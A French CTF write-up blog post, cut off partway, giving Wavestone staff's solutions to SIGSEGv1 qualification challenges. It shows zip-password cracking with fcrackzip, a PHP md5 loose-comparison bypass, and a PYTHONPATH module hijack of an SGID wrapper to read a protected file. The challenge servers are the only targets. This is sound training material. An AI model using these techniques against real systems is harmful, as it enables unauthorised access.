{"id":15580,"date":"2018-10-18T13:58:26","date_gmt":"2018-10-18T12:58:26","guid":{"rendered":"https:\/\/www.riskinsight-wavestone.com\/?p=15580"},"modified":"2021-07-07T16:38:54","modified_gmt":"2021-07-07T15:38:54","slug":"ctf-quals-rtfm","status":"publish","type":"post","link":"https:\/\/www.riskinsight-wavestone.com\/en\/2018\/10\/ctf-quals-rtfm\/","title":{"rendered":"[CTF] Writeup du round de qualification SIGSEGV1"},"content":{"rendered":"<p>&nbsp;<\/p>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><a style=\"margin-left: 1em; margin-right: 1em;\" href=\"https:\/\/2.bp.blogspot.com\/-vb3Cd-d2WLQ\/W8X464x5wTI\/AAAAAAAAAi0\/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs\/s1600\/_header.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/2.bp.blogspot.com\/-vb3Cd-d2WLQ\/W8X464x5wTI\/AAAAAAAAAi0\/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs\/s640\/_header.png\" width=\"640\" height=\"300\" border=\"0\" data-original-height=\"300\" data-original-width=\"640\" \/><\/a><\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><\/div>\n<div class=\"separator\" style=\"clear: both; text-align: justify;\">Issus de la g\u00e9n\u00e9ration ayant connu le minitel, le bas-d\u00e9bit et les \u00e9crans cathodiques, l&#8217;\u00e9quipe formant <b>l&#8217;association RTFM<\/b> a grandi avec une passion pour la technologie et les sujets qui s&#8217;y rattachent.<\/div>\n<div class=\"separator\" style=\"clear: both; text-align: justify;\">L&#8217;objectif de l&#8217;association est de cr\u00e9er un \u00e9v\u00e9nement fran\u00e7ais sur le th\u00e8me de la s\u00e9curit\u00e9 informatique, qui se d\u00e9roulera le <b>1er d\u00e9cembre 2018 \u00e0 l&#8217;\u00e9cole 42<\/b>.<br \/>\nCelui-ci, nomm\u00e9 &#8220;<b>SIGSEGv1<\/b>&#8221; se baserait sur trois axes :<\/div>\n<div class=\"separator\" style=\"clear: both; text-align: left;\"><\/div>\n<ul>\n<li>Niveau technique avanc\u00e9<\/li>\n<li>Accessibilit\u00e9 g\u00e9ographique<\/li>\n<li>\u00c9v\u00e9nement \u00e0 taille humaine<\/li>\n<\/ul>\n<div style=\"text-align: justify;\">Cet \u00e9v\u00e9nement mettra en avant diff\u00e9rents sujets tels que le Reverse Engineering, des d\u00e9monstrations d&#8217;attaques physiques ainsi que du hacking hardware et bas-niveau.<\/div>\n<div class=\"separator\" style=\"clear: both; text-align: justify;\">L&#8217;acc\u00e8s \u00e0 l&#8217;\u00e9v\u00e9nement a \u00e9t\u00e9 rendu possible sur validation de <i>challenges <\/i>de qualification, qui \u00e9taient <a href=\"https:\/\/qual.rtfm.re\/\" target=\"_blank\" rel=\"noopener\">disponibles<\/a> sur la p\u00e9riode du 28 septembre au 12 octobre 2018. Plusieurs collaborateurs de Wavestone ont individuellement pris part \u00e0 ces qualifications, dont nous pr\u00e9sentons ci-dessous les <i>writeups<\/i>.<\/div>\n<div class=\"separator\" style=\"clear: both; text-align: left;\"><\/div>\n<h2 style=\"clear: both; text-align: left;\">Web-serveur : la simplicit\u00e9 (par ShrewkRoot)<\/h2>\n<div>\n<div style=\"text-align: justify;\"><b>Description\u00a0:\u00a0<\/b>Bienvenue sur le site le plus simple du monde avec des failles basiques ! Aucun bruteforce n&#8217;est necessaire. Merci de ne pas utiliser Dirbuster et outils \u00e9quivalents sous peine d&#8217;etre bannis sur le challenge.<\/div>\n<\/div>\n<div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\">Le site se pr\u00e9sente sous la forme d&#8217;une page blanche contenant une vid\u00e9o du rappeur Orelsan :<\/div>\n<p>&nbsp;<\/p>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><a style=\"margin-left: 1em; margin-right: 1em;\" href=\"https:\/\/4.bp.blogspot.com\/-QY_EgD3XFKg\/W8YB3RodG7I\/AAAAAAAAAjI\/bxu888dLlFkxHYfWncdDYFiiGeaGvD7XQCLcBGAs\/s1600\/1_1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/4.bp.blogspot.com\/-QY_EgD3XFKg\/W8YB3RodG7I\/AAAAAAAAAjI\/bxu888dLlFkxHYfWncdDYFiiGeaGvD7XQCLcBGAs\/s640\/1_1.png\" width=\"640\" height=\"316\" border=\"0\" data-original-height=\"409\" data-original-width=\"826\" \/><\/a><\/div>\n<p>&nbsp;<\/p>\n<style type=\"text\/css\">\n.sc0 { font-family: monospace !important; }<br \/>.sc1 { color: rgb(102, 116, 123); font-family: monospace !important; }<br \/>.sc3 { color: rgb(236, 118, 0); font-family: monospace !important; }<br \/>.sc4 { color: rgb(255, 132, 9); font-family: monospace !important; }<br \/>.sc6 { color: rgb(225, 226, 207); font-family: monospace !important; }<br \/>.sc8 { font-family: monospace !important; }<br \/>.sc9 { font-weight: bold; color: rgb(103, 140, 177); font-family: monospace !important; }<br \/>.sc18 { font-weight: bold; color: rgb(217, 85, 193); font-family: monospace !important; }<br \/>.sc119 { color: rgb(236, 118, 0); font-family: monospace !important; }<br \/>.sc121 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br \/>.sc122 { color: rgb(255, 205, 34); font-family: monospace !important; }<br \/>.sc123 { color: rgb(103, 140, 177); font-family: monospace !important; }<br \/>.sc127 { color: rgb(232, 226, 183); font-family: monospace !important; }<br \/>.sc118 { font-family: monospace !important; }<br \/>span.w-code { display: block; background-color: black; font-size: 10pt; color: rgb(224, 226, 228); white-space: pre-wrap; overflow-wrap: break-word; line-height: 14px; padding: 1%; font-family: monospace !important; }<br \/>.w-user { color: cornflowerblue; font-family: monospace !important; }<br \/>.w-root { color: lightcoral; font-family: monospace !important; }<br \/>.w-server { color: chartreuse; font-family: monospace !important; }<br \/>.w-cli { color: lightskyblue; font-family: monospace !important; }<br \/>.w-grepped { color: red; font-family: monospace !important; }<br \/>.w-all { font-family: monospace !important; }<br \/>.w-inline-code { color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 4px; padding: 2px 4px; font-family: monospace !important; }<br \/>.sc5 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br \/>.sc10 { color: rgb(232, 226, 183); font-family: monospace !important; }<br \/>.sc11 { font-family: monospace !important; }<br \/>.sc41 { font-family: monospace !important; }<br \/>.sc43 { color: rgb(129, 142, 150); font-family: monospace !important; }<br \/>.sc46 { font-family: monospace !important; }<br \/>.sc48 { color: rgb(236, 118, 0); font-family: monospace !important; }<br \/>.sc50 { color: rgb(232, 226, 183); font-family: monospace !important; }<br \/>.sc40 { font-family: monospace !important; }<br \/>.sc45 { color: rgb(255, 205, 34); font-family: monospace !important; }<br \/>.sc47 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br \/>.sc49 { color: rgb(236, 118, 0); font-family: monospace !important; }<br \/>.sc2 { color: rgb(255, 205, 34); font-family: monospace !important; }<br \/><\/style>\n<div style=\"text-align: justify;\">Le premier r\u00e9flexe \u00e0 adopter dans ce cas est de s&#8217;orienter sur la cartographie de l&#8217;application : scan de ports, scans des dossiers, etc. Le challenge interdisant explicitement le bruteforce en ligne, ces solutions ne sont pas appliqu\u00e9es ici.<\/div>\n<div style=\"text-align: justify;\">En revanche, deux fichiers sont souvent pr\u00e9sents sur les applications web et permettent de d\u00e9couvrir tout ou partie de l&#8217;arborescence d&#8217;un site :<\/div>\n<ul>\n<li><b>\/sitemap.xml :<\/b> fichier XML contenant l&#8217;arborescence des diff\u00e9rentes sections<\/li>\n<li><b>\/robots.txt :<\/b> fichier txt visant \u00e0 interdire le <i>crawling<\/i>\u00a0de certaines sections aux robots<\/li>\n<\/ul>\n<div>\n<div style=\"text-align: justify;\">En naviguant sur le second, l&#8217;application indique que le fichier <b>backup.zip<\/b> existe :<\/div>\n<\/div>\n<div><\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><a style=\"margin-left: 1em; margin-right: 1em;\" href=\"https:\/\/1.bp.blogspot.com\/-aTPPckzLLRU\/W8YB3NT0w9I\/AAAAAAAAAjQ\/nWrorUZjefYVdWnsIky0DMq1jcVVNvYUwCEwYBhgL\/s1600\/1_2.png\"><img decoding=\"async\" src=\"https:\/\/1.bp.blogspot.com\/-aTPPckzLLRU\/W8YB3NT0w9I\/AAAAAAAAAjQ\/nWrorUZjefYVdWnsIky0DMq1jcVVNvYUwCEwYBhgL\/s1600\/1_2.png\" border=\"0\" data-original-height=\"133\" data-original-width=\"510\" \/><\/a><\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><\/div>\n<div class=\"separator\" style=\"clear: both; text-align: justify;\">Le fichier <b>backup.zip<\/b>\u00a0est bien accessible, et une fois t\u00e9l\u00e9charg\u00e9, demande un mot de passe pour l&#8217;extraction :<\/div>\n<div class=\"separator\" style=\"clear: both; text-align: left;\"><\/div>\n<p><span class=\"w-code\"><span class=\"w-user\">iansus <\/span>@ <span class=\"w-server\">iansus-server<\/span> ~\/rtfm\/quals\/simple % <span class=\"w-cli\">unzip backup.zip<\/span><br \/>\nArchive: backup.zip<br \/>\n[backup.zip] index.php password: <\/span><\/p>\n<div>\n<div style=\"text-align: justify;\">Il est facile de proc\u00e9der au bruteforce de ce mot de passe \u00e0 l&#8217;aide de la liste <b>rockyou.txt<\/b>\u00a0(pr\u00e9sente par d\u00e9faut sur Kali Linux) et de l&#8217;outil\u00a0<a href=\"https:\/\/github.com\/hyc\/fcrackzip\" target=\"_blank\" rel=\"noopener\">fcrackzip<\/a>\u00a0:<\/div>\n<\/div>\n<div><\/div>\n<p><span class=\"w-code\"><span class=\"w-user\">iansus<\/span> @ <span class=\"w-server\">iansus-server<\/span> ~\/rtfm\/quals\/simple % <span class=\"w-cli\">fcrackzip -D -p rockyou.txt -u backup.zip<\/span><\/span><br \/>\nPASSWORD FOUND!!!!: pw == <span class=\"w-grepped\">passw0rd<\/span><\/p>\n<\/div>\n<div>\n<div style=\"text-align: justify;\">Le mot de passe est donc <i>passw0rd<\/i>\u00a0et permet de r\u00e9cup\u00e9rer la source du fichier PHP, ci-dessous :<\/div>\n<\/div>\n<div><\/div>\n<div><span class=\"w-code\"><span class=\"sc18\">&lt;?php<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc121\">include<\/span> <span class=\"sc119\">&#8220;auth.php&#8221;<\/span><span class=\"sc127\">;<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc18\">?&gt;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc1\">&lt;html&gt;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc1\">&lt;head&gt;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc1\">&lt;title&gt;<\/span><span class=\"sc0\">Un site simple<\/span><span class=\"sc1\">&lt;\/title&gt;&lt;\/title&gt;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc1\">&lt;\/head&gt;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc1\">&lt;body&gt;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc1\">&lt;center&gt;&lt;iframe<\/span> <span class=\"sc3\">width<\/span><span class=\"sc8\">=<\/span><span class=\"sc6\">&#8220;560&#8221;<\/span> <span class=\"sc3\">height<\/span><span class=\"sc8\">=<\/span><span class=\"sc6\">&#8220;315&#8221;<\/span> <span class=\"sc3\">src<\/span><span class=\"sc8\">=<\/span><span class=\"sc6\">&#8220;https:\/\/www.youtube[.]com\/embed\/2bjk26RwjyU?rel=0&amp;amp;controls=0&amp;amp;showinfo=0&#8221;<\/span> <span class=\"sc3\">frameborder<\/span><span class=\"sc8\">=<\/span><span class=\"sc6\">&#8220;0&#8221;<\/span> <span class=\"sc4\">allow<\/span><span class=\"sc8\">=<\/span><span class=\"sc6\">&#8220;autoplay; encrypted-media&#8221;<\/span> <span class=\"sc4\">allowfullscreen<\/span><span class=\"sc1\">&gt;&lt;\/iframe&gt;&lt;\/center&gt;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc18\">&lt;?php<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc121\">if<\/span><span class=\"sc127\">(<\/span><span class=\"sc121\">isset<\/span><span class=\"sc127\">(<\/span><span class=\"sc123\">$_POST<\/span><span class=\"sc127\">[<\/span><span class=\"sc119\">&#8220;h1&#8221;<\/span><span class=\"sc127\">]))<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc127\">{<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc123\">$h1<\/span> <span class=\"sc127\">=<\/span> <span class=\"sc121\">md5<\/span><span class=\"sc127\">(<\/span><span class=\"sc123\">$_POST<\/span><span class=\"sc127\">[<\/span><span class=\"sc119\">&#8220;h1&#8221;<\/span><span class=\"sc127\">]<\/span> <span class=\"sc127\">.<\/span> <span class=\"sc119\">&#8220;Shrewk&#8221;<\/span><span class=\"sc127\">);<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc121\">echo<\/span> <span class=\"sc119\">&#8220;h1 vaut: &#8220;<\/span><span class=\"sc127\">.<\/span><span class=\"sc123\">$h1<\/span><span class=\"sc127\">.<\/span><span class=\"sc119\">&#8220;&lt;\/br&gt;&#8221;<\/span><span class=\"sc127\">;<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc121\">if<\/span><span class=\"sc127\">(<\/span><span class=\"sc123\">$h1<\/span> <span class=\"sc127\">==<\/span> <span class=\"sc119\">&#8220;0&#8221;<\/span><span class=\"sc127\">)<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc127\">{<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc121\">echo<\/span> <span class=\"sc119\">&#8220;&lt;!&#8211;Bien jou\u00e9 le flag est &#8220;<\/span><span class=\"sc127\">.<\/span><span class=\"sc123\">$flag<\/span><span class=\"sc127\">.<\/span><span class=\"sc119\">&#8220;&#8211;&gt;&#8221;<\/span><span class=\"sc127\">;<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc127\">}<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc127\">}<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc18\">?&gt;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc9\">&lt;!&#8211; Si une m\u00e9thode ne fonctionne pas il faut en utiliser une autre &#8211;&gt;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc9\">&lt;!&#8211; Un formulaire c&#8217;\u00e9tait pas assez simple donc on en a pas mis &#8211;&gt;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc1\">&lt;\/body&gt;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc1\">&lt;\/html&gt;<\/span><\/span><\/p>\n<div style=\"text-align: justify;\">Le script r\u00e9cup\u00e8re la valeur du param\u00e8tre GET <b>h1<\/b>\u00a0et la concat\u00e8ne \u00e0 la cha\u00eene <b>Shrewk<\/b>\u00a0avant d&#8217;en calculer l&#8217;empreinte MD5. Cette empreinte est ensuite compar\u00e9e \u00e0 la cha\u00eene <b>0<\/b>\u00a0\u00e0 l&#8217;aide de l&#8217;op\u00e9rateur <b>==<\/b>.<\/div>\n<div style=\"text-align: justify;\">En temps normal, cette condition n&#8217;est pas r\u00e9alisable, puisque la sortie de la fonction <b>md5()<\/b>\u00a0a pour longueur fixe 32. En revanche, puisque l&#8217;op\u00e9rateur de comparaison faible (en opposition \u00e0 la comparaison forte avec l&#8217;op\u00e9rateur <b>===<\/b>) est utilis\u00e9, <a href=\"http:\/\/php.net\/manual\/fr\/types.comparisons.php\" target=\"_blank\" rel=\"noopener\">il est possible d&#8217;en abuser<\/a>. Notamment, toute chaine de caract\u00e8re d\u00e9butant par <b>0e<\/b>\u00a0et se terminant par une suite de chiffres est faiblement \u00e9gale \u00e0 la cha\u00eene <b>0<\/b>.<\/div>\n<div style=\"text-align: justify;\">Les statistiques sont de notre c\u00f4t\u00e9, il n&#8217;est pas si improbable d&#8217;obtenir une telle cha\u00eene en calculant l&#8217;empreinte d&#8217;une cha\u00eene al\u00e9atoire :<\/div>\n<p><span class=\"w-code\"><span class=\"sc18\">&lt;?php<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc121\">while<\/span><span class=\"sc127\">(<\/span><span class=\"sc122\">1<\/span><span class=\"sc127\">)<\/span> <span class=\"sc127\">{<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc123\">$a<\/span> <span class=\"sc127\">=<\/span> <span class=\"sc121\">microtime<\/span><span class=\"sc127\">(<\/span><span class=\"sc121\">true<\/span><span class=\"sc127\">);<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc121\">if<\/span><span class=\"sc127\">(<\/span><span class=\"sc121\">md5<\/span><span class=\"sc127\">(<\/span><span class=\"sc123\">$a<\/span><span class=\"sc127\">.<\/span><span class=\"sc119\">&#8220;Shrewk&#8221;<\/span><span class=\"sc127\">)==<\/span><span class=\"sc119\">&#8220;0&#8221;<\/span><span class=\"sc127\">)<\/span> <span class=\"sc127\">{<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc121\">echo<\/span> <span class=\"sc123\">$a<\/span><span class=\"sc127\">;<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc121\">break<\/span><span class=\"sc127\">;<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc127\">}<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc127\">}<\/span><span class=\"sc118\"><br \/>\n<\/span><span class=\"sc18\">?&gt;<\/span><\/span><\/p>\n<div class=\"separator\" style=\"clear: both; text-align: left;\"><\/div>\n<div style=\"text-align: justify;\">La premi\u00e8re cha\u00eene de caract\u00e8re validant la condition est trouv\u00e9e en une vingtaine de minutes, et permet de valider le challenge :<\/div>\n<p>&nbsp;<\/p>\n<\/div>\n<p><span class=\"w-code\"><span class=\"w-user\">iansus<\/span> @ <span class=\"w-server\">iansus-server<\/span> ~\/rtfm\/quals\/simple % <span class=\"w-cli\">curl -X POST http:\/\/iansus.net:4444 &#8211;data &#8216;h1=1539722573.8918&#8217; -s | grep sigsegv<\/span><br \/>\nh1 vaut: 0e633901513385170308561908425699&lt;\/br&gt;&lt;!&#8211;Bien jou\u00e9 le flag est <span class=\"w-grepped\">sigsegv<\/span>{a1a29afa647a20758e64b49d8eb453f4}&#8211;&gt;&lt;!&#8211; Si une m\u00e9thode ne fonctionne pas il faut en utiliser une autre &#8211;&gt;<\/span><\/p>\n<h2 style=\"clear: both;\">App-script : Fun avec Python (par laxa)<\/h2>\n<div>\n<div style=\"text-align: justify;\"><b>Description\u00a0:\u00a0<\/b>J&#8217;ai commenc\u00e9 \u00e0 d\u00e9velopper des modules pour python, c&#8217;est marrant. Je suis presque s\u00fbr que tout est s\u00e9curis\u00e9 jusqu&#8217;\u00e0 pr\u00e9sent.<br \/>\n<span class=\"w-inline-code\">ssh -p4443 chall@51.158.73.218 &#8211; mdp: e92b1b12c450afd60faa9f43cff5412e<\/span><\/div>\n<\/div>\n<p>&nbsp;<\/p>\n<div style=\"text-align: justify;\">La premi\u00e8re \u00e9tape est par cons\u00e9quent de se connecter en SSH sur ce serveur pour d\u00e9couvrir l&#8217;environnement:<\/div>\n<p><span class=\"w-code\"><span class=\"w-user\">iansus <\/span>@ <span class=\"w-server\">iansus-server<\/span> ~\/rtfm\/Qualifications-2018 % <span class=\"w-cli\">ssh -p 4443 chall@iansus.net<\/span><br \/>\nchall@iansus.net&#8217;s password:<br \/>\nLinux 4e5d88350bfc 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u4 (2018-08-21) x86_64<br \/>\nThe programs included with the Debian GNU\/Linux system are free software;<br \/>\nthe exact distribution terms for each program are described in the<br \/>\nindividual files in \/usr\/share\/doc\/*\/copyright.<br \/>\nDebian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent<br \/>\npermitted by applicable law.<br \/>\naaaaaaaaaaaaaaaaaaaaaa<br \/>\n<span class=\"w-user\">chall<\/span>@<span class=\"w-server\">4e5d88350bfc<\/span>:~$ <span class=\"w-cli\">ls -l<\/span><br \/>\ntotal 16<br \/>\n-r&#8211;r&#8212;&#8211; 1 root chall-pwned 21 Oct 16 17:13 flag<br \/>\n-rwxr-xr-x 1 root root 307 Oct 16 17:13 hello-world.py<br \/>\n-rwxr-<span class=\"w-grepped\">s<\/span>r-x 1 root chall-pwned 6304 Oct 17 17:18 <span class=\"w-grepped\">wrapper<\/span><\/span><\/p>\n<div style=\"text-align: justify;\">Dans cette configuration, le fichier <b>flag<\/b>\u00a0ne peut \u00eatre lu que par un membre du groupe\u00a0<b>chall-pwned<\/b>. Un programme <b>wrapper<\/b>\u00a0poss\u00e8de le bit SGID et s&#8217;ex\u00e9cutera sous l&#8217;identit\u00e9 du groupe\u00a0<b>chall-pwned<\/b>. Enfin, le fichier Python suivant est fourni :<\/div>\n<p><span class=\"w-code\"><span class=\"sc1\">#!\/usr\/bin\/python2.7<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">from<\/span> <span class=\"sc11\">colors<\/span> <span class=\"sc5\">import<\/span> <span class=\"sc11\">colors<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">def<\/span> <span class=\"sc9\">main<\/span><span class=\"sc10\">():<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">print<\/span><span class=\"sc10\">(<\/span><span class=\"sc4\">&#8216;This is an advanced hello-world&#8217;<\/span><span class=\"sc10\">)<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">print<\/span><span class=\"sc10\">(<\/span><span class=\"sc4\">&#8216;The world is more joyful with colors&#8217;<\/span><span class=\"sc10\">)<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">print<\/span><span class=\"sc10\">(<\/span><span class=\"sc4\">&#8216;So, here we are:&#8217;<\/span><span class=\"sc10\">)<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">print<\/span><span class=\"sc10\">(<\/span><span class=\"sc4\">&#8216;{}Hello-World !{}&#8217;<\/span><span class=\"sc10\">.<\/span><span class=\"sc11\">format<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">colors<\/span><span class=\"sc10\">.<\/span><span class=\"sc11\">bcolors<\/span><span class=\"sc10\">.<\/span><span class=\"sc11\">OKBLUE<\/span><span class=\"sc10\">,<\/span> <span class=\"sc11\">colors<\/span><span class=\"sc10\">.<\/span><span class=\"sc11\">bcolors<\/span><span class=\"sc10\">.<\/span><span class=\"sc11\">ENDC<\/span><span class=\"sc10\">))<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">if<\/span> <span class=\"sc11\">__name__<\/span> <span class=\"sc10\">==<\/span> <span class=\"sc4\">&#8216;__main__&#8217;<\/span><span class=\"sc10\">:<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">main<\/span><span class=\"sc10\">()<\/span><\/span><\/p>\n<div style=\"text-align: justify;\">Apr\u00e8s v\u00e9rification, le package <b>colors<\/b>\u00a0n&#8217;existe pas sur PyPI, ce doit \u00eatre un d\u00e9veloppement de l&#8217;auteur. Pour aller observer le fichier source, il suffit d&#8217;ex\u00e9cuter les commandes suivantes :<\/div>\n<p><span class=\"w-code\"><span class=\"w-user\">chall<\/span>@<span class=\"w-server\">4e5d88350bfc<\/span>:~$ <span class=\"w-cli\">python2.7<\/span><br \/>\nPython 2.7.13 (default, Nov 24 2017, 17:33:09)<br \/>\n[GCC 6.3.0 20170516] on linux2<br \/>\nType &#8220;help&#8221;, &#8220;copyright&#8221;, &#8220;credits&#8221; or &#8220;license&#8221; for more information.<br \/>\n&gt;&gt;&gt; <span class=\"w-cli\">import colors<\/span><br \/>\n&gt;&gt;&gt; <span class=\"w-cli\">colors.__file__<\/span><br \/>\n&#8216;<span class=\"w-grepped\">\/usr\/local\/lib\/python2.7\/dist-packages\/colors\/<\/span>__init__.py&#8217;<\/span><\/p>\n<div style=\"text-align: justify;\">La source du module Python est situ\u00e9e dans le fichier <span class=\"w-inline-code\">\/usr\/local\/lib\/python2.7\/dist-packages\/colors\/colors.py<\/span> :<\/div>\n<p><span class=\"w-code\"><span class=\"sc5\">class<\/span> <span class=\"sc8\">bcolors<\/span><span class=\"sc10\">:<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">HEADER<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc4\">&#8216;\\033[95m&#8217;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">OKBLUE<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc4\">&#8216;\\033[94m&#8217;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">OKGREEN<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc4\">&#8216;\\033[92m&#8217;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">WARNING<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc4\">&#8216;\\033[93m&#8217;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">FAIL<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc4\">&#8216;\\033[91m&#8217;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">ENDC<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc4\">&#8216;\\033[0m&#8217;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">BOLD<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc4\">&#8216;\\033[1m&#8217;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">UNDERLINE<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc4\">&#8216;\\033[4m&#8217;<\/span><\/span><\/p>\n<div style=\"text-align: justify;\">Plut\u00f4t d\u00e9routant \u00e0 premi\u00e8re vue, puisqu&#8217;aucun argument n&#8217;est fourni au programme&#8230; La vuln\u00e9rabilit\u00e9 vient peut-\u00eatre alors du chargement du module. Pour cela, la <a href=\"https:\/\/docs.python.org\/2.7\/tutorial\/modules.html#the-module-search-path\" target=\"_blank\" rel=\"noopener\">documentation de Python<\/a> d\u00e9crit tr\u00e8s bien l&#8217;ordre de chargement des modules.<\/div>\n<div style=\"text-align: justify;\">Par d\u00e9faut, les modules sont charg\u00e9s depuis les dossiers pr\u00e9sents dans la variable <b>sys.path<\/b>, qui fonctionne de mani\u00e8re similaire \u00e0 la variable d&#8217;environnement <b>$PATH<\/b>. Cette variable est initialis\u00e9e comme suit :<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<ul>\n<li>Avec le nom du dossier contenant le script Python ex\u00e9cuter (les liens symboliques sont r\u00e9solus)<\/li>\n<li>Avec la variable d&#8217;environnement <b>$PYTHONPATH<\/b><\/li>\n<li>Avec le dossier d&#8217;installation par d\u00e9faut des scripts<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<div style=\"text-align: justify;\">N&#8217;ayant ni les droits d&#8217;\u00e9criture dans le dossier courant ou dans le dossier par d\u00e9faut, la seconde solution semble la plus adapt\u00e9e. L&#8217;utilisation d&#8217;un binaire SUID ne supprime pas les variables d&#8217;environnement (\u00e0 l&#8217;inverse du fonctionnement par d\u00e9faut de sudo).<\/div>\n<div style=\"text-align: justify;\">Pour exploiter la vuln\u00e9rabilit\u00e9, le fichier <span class=\"w-inline-code\">\/tmp\/colors.py<\/span> est cr\u00e9\u00e9 :<\/div>\n<p><span class=\"w-code\"><span class=\"sc1\">#!\/usr\/bin\/python2.7<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">print<\/span> <span class=\"sc11\">open<\/span><span class=\"sc10\">(<\/span><span class=\"sc4\">&#8216;\/home\/chall\/flag&#8217;<\/span><span class=\"sc10\">,<\/span> <span class=\"sc4\">&#8216;r&#8217;<\/span><span class=\"sc10\">).<\/span><span class=\"sc11\">read<\/span><span class=\"sc10\">()<\/span><\/span><br \/>\nIl est alors possible de r\u00e9cup\u00e9rer le flag comme suit :<br \/>\n<span class=\"w-code\"><span class=\"w-user\">chall<\/span>@<span class=\"w-server\">4e5d88350bfc<\/span>:~$ <span class=\"w-cli\">PYTHONPATH=\/tmp .\/wrapper<\/span><br \/>\n<span class=\"w-grepped\">sigsegv{un_flag_ici}<\/span><br \/>\nTraceback (most recent call last):<br \/>\nFile &#8220;\/home\/chall\/hello-world.py&#8221;, line 3, in &lt;module&gt;<br \/>\nfrom colors import colors<br \/>\nImportError: cannot import name colors<br \/>\n<\/span><\/p>\n<h2 style=\"clear: both;\">Web-client : Javascript Obfusqu\u00e9 (par Synacktiv)<\/h2>\n<div>\n<div style=\"text-align: justify;\">\n<p><b>Description\u00a0:\u00a0<\/b>Le javascript est populaire de nos jours, serez-vous capable de retrouver le flag ?Le challenge se pr\u00e9sente sous la forme d&#8217;un fichier HTML qui contient un formulaire pour v\u00e9rifier le flag :<\/p>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><a style=\"margin-left: 1em; margin-right: 1em;\" href=\"https:\/\/2.bp.blogspot.com\/-RzbvmwXsFGs\/W8hHKOhqWfI\/AAAAAAAAAj0\/vXobc1JLI2Y5eR_135WxudwUm-f9XQcRgCLcBGAs\/s1600\/3_1.png\"><img decoding=\"async\" 